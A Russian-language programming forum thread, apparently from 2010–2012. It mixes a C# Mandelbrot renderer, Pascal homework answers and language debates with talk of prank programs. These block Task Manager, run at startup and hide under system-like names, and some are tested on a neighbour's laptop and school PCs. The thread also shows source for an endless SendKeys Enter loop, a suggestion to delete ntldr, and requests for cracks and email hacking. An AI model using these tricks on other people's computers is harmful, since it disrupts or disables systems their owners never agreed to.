m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;
for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lFactor;
for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lFactor;
pArrays[j][i] = GetLevel(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}
protected void CalculatePotentials(double[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;
m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;
for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lYFactor;
for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lXFactor;
pArrays[j][i] = GetPotential(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}
protected void GetColorFromLevel(
int pLevel,
int pMaxIteration,
out byte pRed,
out byte pGreen,
out byte pBlue)
{
double lRatio = (double)pLevel / (double)pMaxIteration;
pRed = 0;
pGreen = 0;
pBlue = 0;
if ((lRatio >= 0) && (lRatio < 0.125))
{
pRed = (byte)(((lRatio - 0) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 0;
}
if ((lRatio >= 0.125) && (lRatio < 0.250))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.125) / 0.125) * ((double)512) + 0.5);
pBlue = 0;
}
if ((lRatio >= 0.250) && (lRatio < 0.375))
{
pRed = (byte)((1.0 - ((lRatio - 0.250) / 0.125)) * ((double)512) + 0.5);
pGreen = 255;
pBlue = 0;
}
if ((lRatio >= 0.375) && (lRatio < 0.500))
{
pRed = 0;
pGreen = 255;
pBlue = (byte)(((lRatio - 0.375) / 0.125) * ((double)512) + 0.5);
}
if ((lRatio >= 0.500) && (lRatio < 0.625))
{
pRed = 0;
pGreen = (byte)((1.0 - ((lRatio - 0.500) / 0.125)) * ((double)512) + 0.5);
pBlue = 255;
}
if ((lRatio >= 0.625) && (lRatio < 0.750))
{
pRed = (byte)(((lRatio - 0.625) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 255;
}
if ((lRatio >= 0.750) && (lRatio < 0.875))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.750) / 0.125) * ((double)512) + 0.5);
pBlue = 255;
}
if ((lRatio >= 0.875) && (lRatio <= 1.000))
{
pRed = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pGreen = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pBlue = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
}
}
//
// Event handlers
//
}
}
и ехешник - прилагается, можно рассмотреть кое-какие детали
если понравится - можете посмотреть в гугле разные фракталы, там и видео есть, но самому как-то приятно по нему поползать) хоть там и не такая крутая детализация)
зы. самое интересное - на конце иглы =)
Прикрепленные файлы
Mandelbrot.rar ( 11.31 килобайт )
Кол-во скачиваний: 142
Автор: KALAPS Shtam8 13.11.2010, 20:32
Цитата(~IL~ @ 7.11.2010, 23:34)
если вы хотите насолить опытному юзеру, придётся помаксимуму замаскировать его (ну, здесь уж кто на что горазд, главное, чтобы в процессах и в реестре название казалось безобидным=))
Зачем заморачиваться и пытаться выдумать безобидное название ? Не проще взять какое ни буть название из системы и продублировать его("наш любимый *.cmd") в другой системной папке ?
Автор: ~IL~ 13.11.2010, 23:20
Цитата(KALAPS Shtam8 @ 13.11.2010, 20:32)
Зачем заморачиваться и пытаться выдумать безобидное название ? Не проще взять какое ни буть название из системы и продублировать его("наш любимый *.cmd") в другой системной папки ?
ну я же говорю, кто на что горазд))
Автор: KALAPS Shtam8 14.11.2010, 0:42
Ну создал я этот файл , проверил ... В итоге он не хочет выключатся через диспетчер задач , а точнее диспетчер не хочет открываться , что я сделал не так ? Вот этот злобный файл ...
Прикрепленные файлы
__________________.rar ( 1.42 килобайт )
Кол-во скачиваний: 112
Автор: ~IL~ 14.11.2010, 1:54
Цитата(KALAPS Shtam8 @ 14.11.2010, 0:42)
Ну создал я этот файл , проверил ... В итоге он не хочет выключатся через диспетчер задач , а точнее диспетчер не хочет открываться , что я сделал не так ? Вот этот злобный файл ...
вообще-то так и должно быть
Автор: KALAPS Shtam8 14.11.2010, 2:13
Цитата(~IL~ @ 14.11.2010, 1:54)
вообще-то так и должно быть
А почему тогда первый раз я смог его через деспетчер закрыть ?
И второй раз смог токо там в процессах много ----и осталось я задолбался её вырубать и перезагрузил ... Быстрее .
Пойду на ноуте соседа испытаю , автозапус и попкорн
Автор: ~IL~ 14.11.2010, 11:27
Цитата(KALAPS Shtam8 @ 14.11.2010, 2:13)
А почему тогда первый раз я смог его через деспетчер закрыть ?
видимо комп мощный, не успевает перегрузиться, поэтому говорю, надо усложнять код)
Автор: KALAPS Shtam8 14.11.2010, 12:56
Цитата(~IL~ @ 14.11.2010, 11:27)
видимо комп мощный, не успевает перегрузиться, поэтому говорю, надо усложнять код)
Ну прям мощнее некуда - меганоут
Автор: IwanS 14.11.2010, 12:59
А вы не пытайтесь ему помешать, в винде есть защита, он после нескольких (десятков) самозапусков закроется системой.
Автор: Ren_Dimon 22.11.2010, 0:16
ку всем! найдться у кого нибудь visual c++ express edition с кряком? програмить неначем(( у меня была visual c++ express edition 2006 но срок действия истёк((
Автор: IwanS 22.11.2010, 0:22
Ren_Dimon, шутник! Все инструменты серии Express Edition абсолютно бесплатны и свободно скачиваются с сайта Microsoft: http://www.microsoft.com/express/Windows/
Автор: Ren_Dimon 22.11.2010, 0:32
Цитата
свободно скачиваются с сайта Microsoft: http://www.microsoft.com/express/Windows/
ссылка не работает(
они требуют активации?
Автор: ~IL~ 22.11.2010, 1:34
Цитата(Ren_Dimon @ 22.11.2010, 0:16)
ку всем! найдться у кого нибудь visual c++ express edition с кряком? програмить неначем(( у меня была visual c++ express edition 2006 но срок действия истёк((
ты под виндовс программируешь?
я просто когда С++ изучал - только в консольном приложении делал всё.
а потом на C# когда перешёл - уже под виндовс.
очень удобный язык.
компилятор SharpDevelop
простая работа с кнопочками, текстовыми полями, панельками и тд.
больше всего радует, что доступ к объектам класса или пространства имён осуществляется посредством точки, и из раскрывающегося списка можно выбрать) например забыл как функция называется, или не знаешь как точно называется, но представляешь как должна - вводишь первые буквы предполагаемого слова и тут же видишь - есть такое или нет.
при открытии скобки сразу выводятся возможные перегрузки функции, можно полистать и посмотреть, что она может.
Цитата(IwanS @ 14.11.2010, 12:59)
А вы не пытайтесь ему помешать, в винде есть защита, он после нескольких (десятков) самозапусков закроется системой.
у меня чёт не закрывается) видимо надо очень долго ждать)
полюбому если это попадёт в автозагрузку и юзер не сможет удалить, то это мало чем отличается от зависания "навсегда". ты же не будешь каждый раз при загрузке компа ждать пол часа?)) это ещё в лучшем случае - если мощный комп)
зы. "...после нескольких десятков самозапусков..." - у меня их сотни))
зызы. иллюстрация к шарп девелопу здесь
Эскизы прикрепленных изображений
Автор: Ren_Dimon 22.11.2010, 1:54
вот скачал SharpDevelop сейчас им под виндовс програмирую)
но visual c++ express edition ваще вещь + к таму на руском она как SharpDevelop да и функций более. но блин ключ требует((
Автор: ~IL~ 22.11.2010, 9:25
Цитата(Ren_Dimon @ 22.11.2010, 1:54)
но visual c++ express edition ваще вещь + к таму на руском она как SharpDevelop да и функций более.
ну хз, точно не могу сказать что лучше, так как не кодил на вижал С++.
а насчёт количества функций, это смотря сколько неймспейсов подключишь))
там вверху набери using sistem. и увидешь дофига всего) и в каждом этом неймспейсе куча функций, смотря для чего тебе надо...
ещё такая тема, внизу есть вкладка Source и Design.
когда находишься в Design - на верху в панели меню там можно выбрать View-Tools
и появится фигнюшка с инструментами слева, там можно выбрать Windows Forms и перетащить какие-то элементы в форму, но там не только Windows Forms есть...
когда перетащил элемент, на форме двойным кликом по нему ты перейдёшь на функцию, которая обрабатывает событие, связанное с этим объектом.
например кликаешь по кнопочке и у тя сразу в коде появляется функция
void Button1Click(object sender, EventArgs e)
{
}
и уже туда можешь прописывать чё те надо, чтобы оно происходило по нажатии на кнопку
вобщем всё очень удобно)
правда сам я в C# не очень опытный, но всегда готов помочь, чем смогу)))
ну и мне есть у кого спросить если что...
Автор: IwanS 22.11.2010, 13:36
~IL~, это базовый функционал всех приличных сред разработки, здесь нечем хвастаться. А вот то что Visual Studio на порядок функциональнее - это факт.
Насчет ссылки - она у меня работает, если что-то у вас не работает - ваши проблемы. Насчет ключа, повторюсь, прога бесплатная.
Автор: Dukat863 23.11.2010, 13:52
Цитата(~IL~ @ 22.11.2010, 1:34)
больше всего радует, что доступ к объектам класса или пространства имён осуществляется посредством точки, и из раскрывающегося списка можно выбрать) например забыл как функция называется, или не знаешь как точно называется, но представляешь как должна - вводишь первые буквы предполагаемого слова и тут же видишь - есть такое или нет.
при открытии скобки сразу выводятся возможные перегрузки функции, можно полистать и посмотреть, что она может.
У меня на моём Visual Studio 2005 пиратко edition то-же самое
Автор: икзишен 23.11.2010, 19:37
Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)
показать офф-топ
1) Даны действительные массивы А(n) и B(n) подсчитать кол-во элементов, которые принадлежат условию: A(1)>B(1)
2) Дан массив A(n,m) требуется определить:
максимальное по величине число
минимальное по величине число
среднее арифметическое элементов столбцов имеющих нечетные номера
Автор: Dukat863 24.11.2010, 15:56
Цитата(икзишен @ 23.11.2010, 19:37)
Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)
Помог бы, знал бы паскаль (Я C++/GML)
Автор: AlexZ 24.11.2010, 16:07
Народ, кто шарит в Маткаде? Нужно длинную формулу записать с подстановкой чисел, ну и чтобы Маткад её решил. Я пытался вручную, но уж очень тяжко и в конце получается комплексное число из-за отриц. корня (а этот курс я забыл уже ), к тому же перед корнем стоит знак +-, в следствии решения должно получится четыре ответа. Если кто-то сможет помочь, я скину фото примера (уже всё подставлено в уравнение). Желательно сделать это сегодня.
Заранее спасибо.
Автор: Avenger 28.11.2010, 11:22
Товарищи, как в создании страницы при помощи HTML сделать фон не цвет, а рисунок. То есть у меня есть картинка, нужно её сделать фоном страницы. Какие для этого нужно использовать теги, и если можно маленький пример.
Автор: IwanS 28.11.2010, 17:06
Avenger, http://cncfile.ru/a/test.zip
Автор: Avenger 28.11.2010, 17:46
Цитата(IwanS @ 28.11.2010, 17:06)
Avenger, http://cncfile.ru/a/test.zip
Ага, спасибо! Теперь понятно. Нам в универе задали создать простенькую страничку.
Автор: ~IL~ 29.11.2010, 2:35
Цитата(икзишен @ 23.11.2010, 19:37)
Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)
показать офф-топ
1) Даны действительные массивы А(n) и B(n) подсчитать кол-во элементов, которые принадлежат условию: A(1)>B(1)
2) Дан массив A(n,m) требуется определить:
максимальное по величине число
минимальное по величине число
среднее арифметическое элементов столбцов имеющих нечетные номера
первая задача
показать офф-топ
program massiv;
var
n, i, sum: integer;
A, B: array[1..100] of integer;
begin
write('input the size of arrays:'); readln(n);
writeln('input values of A:');
for i := 1 to n
do
begin
write('A[',i,'] = '); readln(A[i]);
end;
writeln('input values of B:');
for i := 1 to n
do
begin
write('B[',i,'] = '); readln(B[i]);
end;
if ((0 < n) and (n < 101))
then
begin
sum := 0;
for i := 1 to n
do
if (A[i] > B[i])
then
sum := sum + 1;
writeln('A[i] > B[i] ', sum,' times')
end
else
writeln('error in size');
readln
end.
во второй задаче не понятно где столбцы - пускай это будут n
показать офф-топ
program massiv;
var
n, m, i, j, sum, tot, min, max: integer;
A: array[1..100, 1..100] of integer;
begin
write('input the size of array (n):'); readln(n);
write('input the size of array (m):'); readln(m);
writeln('input values:');
for i := 1 to n
do
for j := 1 to m
do
begin
write('A[', i, ', ', j, '] = '); readln(A[i, j]);
end;
if ((0 < n) and (n < 101) and (0<m) and (m<101))
then
begin
sum := 0;
tot := 0;
max := A[1, 1];
min := A[1, 1];
for i := 1 to n
do
for j := 1 to m
do
begin
if (A[i, j] > max)
then
max := A[i, j];
if (A[i, j] < min)
then
min := A[i, j];
if (i mod 2 = 1)
then
begin
sum := sum + A[i, j];
inc(tot);
end
end;
writeln('max value = ', max);
writeln('min value = ', min);
writeln('Arithmetic average = ', sum/tot:0:2);
end
else
writeln('error in size');
readln
end.
Автор: ~IL~ 29.11.2010, 3:14
Цитата(IwanS @ 22.11.2010, 13:36)
~IL~, это базовый функционал всех приличных сред разработки, здесь нечем хвастаться. А вот то что Visual Studio на порядок функциональнее - это факт.
на время написания поста у меня было слабо развито понятие "среда разработки"
сейчас я разобрался... правда, конечно, не пойму что лучше психологически, быть уверенным и заблуждаться, либо сомневаться, но быть ближе к истине?)))
Автор: Diamond00744 1.12.2010, 22:53
Цитата
Diamond00744, это не серьезно. Какие-то 4 неизвестных антивируса детектят эвристикой чего-то невнятное (причем обрати внимание - одно и то же, скорее всего одни и те же базы кроме нормана) - это даже смотреть не стоит . Если касперский + дрвеб + нод32 + аваст ничего не видят - все норм.
Решил зайти в папку с прогой, она увеличилась на 50 кб + обнаружился вирус... Agent какой-то... Удалил. Решил переотправить файл на VirusTotal (старую версию, где обнаружилось 13). В этот раз уже 14.
http://www.virustotal.com/file-scan/report.html?id=da58704920839cdf26bf3b907cb274244b5de9544640f3f02ca1a6338115df06-1291232614
Подскажите, можно ли прогу с такими результатами размещать в Инете дальше?
Автор: Dukat863 4.12.2010, 19:32
Решил я скачать http://www.codeproject.com/KB/audio-video/DirectSoundAudioStream.aspx пример. Попробовал -> понравилось -> скачал. Решил скомпилировать, а он требует файл dmusici.h
Такого файла у меня в DirectX SDK 9 нету, поэтому решил заменить на с подобным названием, не получилось.
Можете объяснить что это за файл, и где его взять (Или найдите другой потоковый плеер wav файлов)
Заранее спасибо.
Автор: Avenger 4.12.2010, 20:40
http://www.koders.com/cpp/fid8FD7825572AF9EBB804FE8A6439B1E221786E691.aspx полностью изложено содержимое файла dmusici.h (1961 строка ).
Прикрепленные файлы
dmusici.rar ( 17.6 килобайт )
Кол-во скачиваний: 218
Автор: Dukat863 5.12.2010, 15:02
Спасибо, помогло (Там-же нашёл ещё header'ы).
Автор: ~IL~ 4.5.2011, 15:05
недавно написал 2 программки.
может быть кому-то понравятся))
правда они не доработаны, но если кому нужен исходник - всегда пожалуйста.
player.exe - кидаете в папку с музыкальными файлами, запускаете и вся эта музыка проигрывается (идею подкинул мой друг)).
у меня постоянно возникают ситуации аля "поставил чайник, сел за комп, через час пришёл на кухню и за толщей пара не можешь увидеть где чайник". я написал программку - будильник. вы можете ставить любую музыку, которая у вас есть на этот будильник. пока только в формате мрз и вав. (timer.exe).
Прикрепленные файлы
timer.rar ( 2.07 мегабайт )
Кол-во скачиваний: 148
player.rar ( 3.83 килобайт )
Кол-во скачиваний: 140
Автор: GraYaSDF 4.5.2011, 19:51
Я все еще пользуюсь будильником, написанным мной для сайта C&C радио
Запущу шутер и рублюсь, а как завоет сигнализация, тут же срываюсь с места и бегом чайник снимать)))
P. S.: Что ни говори, но сигнализация - лучший будильник, вставляет моментально (только не для эпилептиков, конечно).
Автор: Dukat863 4.5.2011, 20:08
Цитата(GraYaSDF @ 4.5.2011, 20:51)
Хороший будильник (у меня прямо с его срабатыванием торрент скачался!!!)...
Автор: Diamond00744 7.5.2011, 20:26
А сюда не программирование, а простой формострой можно скидывать?
Автор: IwanS 7.5.2011, 20:28
Diamond00744, а он имеет какую-то практическую ценность или это просто формочка без функций?
Автор: Avenger 7.5.2011, 20:37
Цитата(~IL~ @ 4.5.2011, 15:05)
правда они не доработаны, но если кому нужен исходник - всегда пожалуйста.
О, круто, скинь мне плиз исходники в ЛС.
Автор: Dukat863 7.5.2011, 21:45
Цитата(Diamond00744 @ 7.5.2011, 22:41)
IwanS, (ссылку удалил - Dukat863)
И что я с этим должен делать?
показать офф-топ
Из-за этого вируса даже винты форматируют
Автор: Diamond00744 7.5.2011, 21:48
Что за...
Опять чтоли?
Тогда нужна помощь) Может ли это наделать UPX?
Автор: Dukat863 7.5.2011, 22:02
Используй WinRar, а не всякий virUs Packer for eXecutables.
Автор: Diamond00744 7.5.2011, 22:03
Стоп... зацените результаты:
http://www.virustotal.com/file-scan/report.html?id=557b6945a097d609ab25d2fdc34831c2af3f8dac0b584158ca3f225b34862d57-1304794510
Автор: Dukat863 7.5.2011, 22:06
У меня кстати та-же версия что и там.
Лучше запакуй в rar, а не UPX
Автор: Diamond00744 7.5.2011, 22:08
Dukat863, может, просто он у тебя настроен на "оповещение о догадках"
А ссылку восстанавливаю:
показать офф-топ
http://bit.ly/diamond00744_1
UPD: программу переписал на Delphi, попробуйте. Файл перезалит.
Автор: ~IL~ 11.5.2011, 18:19
Цитата(IwanS @ 10.6.2010, 23:12)
Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.
+1 и переучиваться не придётся.
я уже не помню говорил или нет, что наш препод по С++ сказал, что, зная С++ легко освоить любой язык очень быстро. это правда, я проверял))
Автор: Diamond00744 24.5.2011, 0:20
Школьные компьютеры нужны только для экспериментов
В школе был установлен Delphi. Я там создал формочку типа "отправьте СМС туда-то" и поместил в автозагрузку... Что случилось потом - узнаете в следующей, 197-й серии
Автор: ~IL~ 24.5.2011, 14:23
Цитата(Diamond00744 @ 24.5.2011, 1:20)
Школьные компьютеры нужны только для экспериментов
В школе был установлен Delphi. Я там создал формочку типа "отправьте СМС туда-то" и поместил в автозагрузку... Что случилось потом - узнаете в следующей, 197-й серии
надеюсь, её нельзя было закрыть через диспетчер задач?)))
Автор: Diamond00744 24.5.2011, 22:34
Можно. Но зачем они мастеров вызвали, непойму...
Автор: ~IL~ 25.5.2011, 1:24
Цитата(Diamond00744 @ 24.5.2011, 23:34)
Можно. Но зачем они мастеров вызвали, непойму...
Автор: samohin 9.6.2011, 20:46
Цитата(Diamond00744 @ 24.5.2011, 22:34)
Можно. Но зачем они мастеров вызвали, непойму...
http://xn--90aif0abnp4f.xn--p1ai/
Тут всё понятно. Если вызывают мастеров, значит сами ничего не понимают. Но мы, молодые люди понимаем намного больше них
Автор: ~IL~ 11.6.2011, 0:45
сегодня у меня случилась смешная ситуация, я подумал, что мой комп ошалел хДД
когда я понял в чём дело - поржал)) и решил написать прогу, чтобы пост-----ся над кем-нибудь.
но сначала получилось не совсем удачно... пакость сделать удалось, но немного не таким способом, каким я ожидал... со второго раза я написал прогу, которая в большой степени удовлетворяет моему первому замыслу.
итак... кидаю 2 ехешника.
запустите первый, комп может начать лагать. ваша задача - вырубить эту прогу не перезагружая комп. у меня с первого раза не получилось)).
запустите второй - ваша задача определить что написано в исходнике по симптомам)). хотя по сути в исходниках обоих файлов написано одно и то же).
зы. проги абсолютно никакого вреда не наносят. ничего не удаляют и никуда не залезают можете быть уверены) исходники потом). кстати в исходниках всего пара строчек написано).
Прикрепленные файлы
____________.rar ( 5.21 килобайт )
Кол-во скачиваний: 118
Автор: IwanS 11.6.2011, 9:02
Они что, все время посылают enter в системный поток сигналов? О_о Кроме того, они вроде бы управляют позиционированием курсора, хотя это может быть взаимосвязано.
Кстати, жнецовый метод борьбы с первой прогой - чуток подождал, у меня система сняла приоритет с этого процесса и я в обычном режиме его закрыл. Остальные копии не имеют возможности воздействовать на ОС, только первая запущенная.
Автор: ~IL~ 11.6.2011, 11:14
Цитата(IwanS @ 11.6.2011, 10:02)
Они что, все время посылают enter в системный поток сигналов? О_о Кроме того, они вроде бы управляют позиционированием курсора, хотя это может быть взаимосвязано.
Кстати, жнецовый метод борьбы с первой прогой - чуток подождал, у меня система сняла приоритет с этого процесса и я в обычном режиме его закрыл. Остальные копии не имеют возможности воздействовать на ОС, только первая запущенная.
всё правильно
насчёт курсора я никакого кода не писал, он видимо сам от тормозов двигаться не хочет.
исходник 1 проги:
показать офф-топ
public MainForm()
{
InitializeComponent();
while (true)
SendKeys.SendWait
("{ENTER}");
}
2:
показать офф-топ
public MainForm()
{
InitializeComponent();
timer1.Start();
}
void Timer1Tick(object sender, EventArgs e)
{
SendKeys.SendWait("{ENTER}");
}
короче у меня случилось следующее - я захотел пропинговать qip.ru, ввёл в командной строке ping qip.ru и нажал Enter, ну там показался пинг и потом много раз начала появляться запись:
C:\Documetns and Settings\Admin>
C:\Documetns and Settings\Admin>
C:\Documetns and Settings\Admin>
C:\Documetns and Settings\Admin>
...
я сразу не допёр в чём дело и тупо закрыл командную строку.
потом открыл пуск и начали запускаться рандомные программки, нажал на папку, она открылась 4 раза)), опять нажал пуск - меня выбросило из системы, и там можно было выбрать - выключить комп, либо войти в систему, я вхожу, но он опять творит нечто)), я опять нажимаю пуск, чтобы выключить (почему-то только потом догадался нажать Alt+F4), опять выкинуло из системы, там я нажал выключить, но он перешёл в ждущий режим)).. когда включил - опять появилось окно выхода из системы, я вошёл и опять сами собой начали открываться программки. я уже начал думать - не подшутил ли надо мной кто?)) или может вирус))... потом короче смотрю на клавиатуру, а там Enter запал))) хДД вот я чуть со стула не упал от смеха)))
Автор: Блекхенд из эрайв 11.6.2011, 12:01
Цитата(~IL~ @ 11.6.2011, 1:45)
сегодня у меня случилась смешная ситуация, я подумал, что мой комп ошалел хДД
когда я понял в чём дело - поржал)) и решил написать прогу, чтобы пост-----ся над кем-нибудь.
но сначала получилось не совсем удачно... пакость сделать удалось, но немного не таким способом, каким я ожидал... со второго раза я написал прогу, которая в большой степени удовлетворяет моему первому замыслу.
итак... кидаю 2 ехешника.
запустите первый, комп может начать лагать. ваша задача - вырубить эту прогу не перезагружая комп. у меня с первого раза не получилось)).
запустите второй - ваша задача определить что написано в исходнике по симптомам)). хотя по сути в исходниках обоих файлов написано одно и то же).
зы. проги абсолютно никакого вреда не наносят. ничего не удаляют и никуда не залезают можете быть уверены) исходники потом). кстати в исходниках всего пара строчек написано).
ОГА)) Щас займусь этим добровольным гемороем)))
Сделаем проще! Откройте тоталкомандером диск С: и удалите или измените файл ntldr - есле у вас виндоус хр)) что при этом произойдёт пишите! очень интригующе
Автор: Dukat863 11.6.2011, 13:01
Цитата(IwanS @ 11.6.2011, 10:02)
Кстати, жнецовый метод борьбы с первой прогой - чуток подождал, у меня система сняла приоритет с этого процесса и я в обычном режиме его закрыл. Остальные копии не имеют возможности воздействовать на ОС, только первая запущенная.
Я нажал Win+L, и после этого программа перестала работать. Я её закрыл диспетчером задач.
У меня запустился только один экземпляр, так-как я файл прямо из архива в тотал коммандере запускал (там открывается окошко с информацией о файле и 3 кнопки: закрыть окно (по умолчанию), распаковать только этот файл и запустить, распаковать все файлы и запустить выбранный файл (потом открывается ещё окошко, при закрытии которого удаляются временные файлы))
Автор: Diamond00744 21.6.2011, 0:54
Всем хай)
http://www.cncseries.ru/modules.php?name=News&file=article&sid=1412
Оцените пожалуйста с т.з. этой темы
показать офф-топ
Исходники в свободном доступе - друг программиста (по крайней мере начинающего)
Автор: NBomb 21.6.2011, 1:01
Цитата(Diamond00744 @ 21.6.2011, 0:54)
показать офф-топ
Исходники в свободном доступе - друг программиста (по крайней мере начинающего)
показать офф-топ
Исходники для программиста, это как тибериум для скринов - приманка.
Автор: ~IL~ 30.11.2011, 20:07
недавно написал прогу, которая считает MD5 введённого текста.
может кому пригодится)
Прикрепленные файлы
HCMD5.rar ( 3.19 килобайт )
Кол-во скачиваний: 91
Автор: IwanS 30.11.2011, 20:16
~IL~, всмысле вручную, что ли? Или с помощью штатной функции?
Автор: ~IL~ 30.11.2011, 20:17
Цитата(IwanS @ 30.11.2011, 20:16)
~IL~, всмысле вручную, что ли? Или с помощью штатной функции?
делать мне чтоли нечего?)) вручную писать)
просто мне понадобилась такая прога, а онлайн считать неохота). ну естественно там использована стандартная функция.
Автор: Dukat863 16.3.2012, 15:32
Код
void блаблабла(string message)
{
char* msg = new char;
strcpy(msg, message.c_str());
//Любая строчка, которая принимает char*
delete msg;
}
Особенно доставляет, когда этот код используется для вывода отладочного сообщения, во время поиска проблемы вылета (которая происходит именно из-за этого кода).
А всё начиналось с загрузки файла...
Автор: IwanS 16.3.2012, 15:52
Любая функция, требующая для работы char*, byte[] и прочее извращение - ересь! Если функция предполагает работу с текстом, то пусть она принимает string!
Автор: Psionic 20.3.2012, 19:25
Цитата(IwanS @ 16.3.2012, 15:52)
Любая функция, требующая для работы char*, byte[] и прочее извращение - ересь! Если функция предполагает работу с текстом, то пусть она принимает string!
Не факт, понимаеш в чем дело, string не единственній тип для работы со строками - из чуть более чем дофига, как ты планируеш достигать унификации? Тут на помощ и приходят char/wchar_t массивы.
Пишу на С/С++/asm X86 (для души), objective C (на работе), ненавижу этот язык.
[url] http://www.rapidshare.ru/2796534 [/url] вот игра пазман написанная мною для конкурса XPN - 2011 (сорци в комплекте), если кому интересно выложу и работу для 2012 года (после прошествия конкурса лутше), обе работы стали достойными чтобы меня пригласили в финал.
Автор: IwanS 20.3.2012, 20:38
Psionic, string - не единственный, но самый православный тип для работы со строками. Точно так же как int, double, bool и т.п.
Пишу на C#, Java, PHP и боюсь char* как огня.
P.S: забавная игра, мне понравилась )
Автор: Dukat863 20.3.2012, 21:49
string это класс, содержащий тот-же самый char*, функции с понятными названиями, и переопределёнными операторами + и [].
Чтобы к примеру дописать к одному char* другой, приходится пользоваться функцией кактамеёзовут(). У string вызываются функция +.
Если бы функции для работы с char* были нормально названы...
[/капитан]
Автор: Psionic 20.3.2012, 22:34
Цитата
Пишу на C#, Java, PHP и боюсь char* как огня.
Ну чтож, раз боишся значит плохо знаеш
. Попробуем разьснить свойства char для случая С++, и так
char это тип занимающий один байт и для безнакового случая способный следовательно хранить в себе число от 0..255, но в частных случаях некоторые числа трактуются как символы, чтоб понять, даю пример:
Код
#include <iostream>
int main()
{
char T=0;//именно 0 а не '0'(символ нуля)
do
{
std::cout<<T<<" "<<(int)T<<std::endl;
T++;
}
while(T)
return 0;
}
Для хранения строк в этом типе используют массивы (char[]), конец строки заканчивается нулем (именно арифметическим, а не символом 0, смотреть понятие нультерминированая строка), char * (то что ты назвал), это указатель на первый элемент массива, конец строки это ноль.
Можеш написать код где будет:
Код
char text[]="some text";
char *pText=&text[0];//можеш поиграть с индексом, увидеш что будет, также можеш случайному елементу text присвоить NULL, тоже поймеш что к чему
printf("text %s", pText);
Все не так сложно как кажется, хотя в реальных проектах всеже исплользуют классы-строки, так как они содержат уже доступные методы-манипуляции и что немаловажно их можно переопределить под нужды конкретного проекта.
Автор: IwanS 21.3.2012, 7:55
Вы меня за идиота держите или думаете, что проучившись 4 года по специальности инженер-программист - я этого не знаю?
Я всего лишь сказал, что не люблю все эти извращения с не-string-овыми типами строк и прав по той причине, что названа выше - неудобно с ними работать.
Psionic, если ты внимательно посмотришь мое сообщение (желательно дважды), ты поймешь, что я программирую на C#, Java и PHP. Причем, C# основной. Если ты хоть раз работал на этом языке, ты должен знать, что строки тут можно хранить либо как string, либо как byte[]. Я не виноват в том, что в плюсах все сделано через одно место, однако плюсы - это не весь мир и КОЕ-ГДЕ с текстовыми типами данных все в порядке. Выводы можете сделать сами...
P.S: пардон за пост, но прежде чем учить других, убедитесь, что вашей квалификации на это хватает и вы действительно понимаете, о чем идет речь.
Автор: ~IL~ 21.3.2012, 13:21
Цитата(IwanS @ 21.3.2012, 7:55)
Вы меня за идиота держите или думаете, что проучившись 4 года по специальности инженер-программист - я этого не знаю?
Автор: Psionic 22.3.2012, 1:14
IwanS
Да не кипятись ты так, я не хотел тебя задеть , просто с определенных пор я часто замечаю что люди теряют из виду или не догадываются о смысле довольно простых вещей, после того как мне на работе пришлось обьяснять пару такого колегам.
Автор: Avenger 22.3.2012, 11:41
показать офф-топ
Цитата(Psionic @ 22.3.2012, 2:14)
после того как мне на работе пришлось обьяснять пару такого колегам.
Мне на работе приходилось учить как пользоваться салфетками для протирания мониторов.
На второй день я обнаружил банку с салфетками на кухонном столе (похоже подумали, что это влажные салфетки для рук).
Автор: GraYaSDF 22.3.2012, 16:02
Цитата(IwanS @ 20.3.2012, 20:38)
Пишу на C#, Java, PHP и боюсь char* как огня.
Да, но все зависит от задачи, особенно если движок какой-либо кодишь на сплюсе (не на шарпе), то попадаешь не раз в прямую зависимость от char, и как бы не хотелось применить string, но потом придется переводить в этот char... бррр, мерзость
А движок я не брошу, потому что он хороший.
Кстати, во флешке 2.0 тоже нет char.
Православный флеш
Автор: deereqd 11.4.2012, 11:56
никто не знает как работает аудиокодек lame enc dl?
| Модератор: Ссылка удалена |
Автор: BlessYou 27.5.2012, 22:19
Помогите, пожалуйста, решить одну проблему. Суть этой программы в том, что движениями буквы О на экране управляет сам пользователь, а буква Х двигается сама. Проблема в том, что Х без О никак не двигается - только синхронно. Как сделать так, чтобы Х не ждала О и двигалась сама?
Язык - С++, консольное приложение.
Прикрепленные файлы
moving_O.txt ( 1.82 килобайт )
Кол-во скачиваний: 95
Автор: IwanS 27.5.2012, 22:28
BlessYou, подсказка: либо таймер, либо многопоточность.
Автор: Iluhan 27.5.2012, 22:36
показать офф-топ
Сори за флуд, но наверное глупо будет спрашивать, умеет ли кто-нибудь взламывать почтовые ящики
Автор: BlessYou 27.5.2012, 22:55
Цитата(IwanS @ 27.5.2012, 22:28)
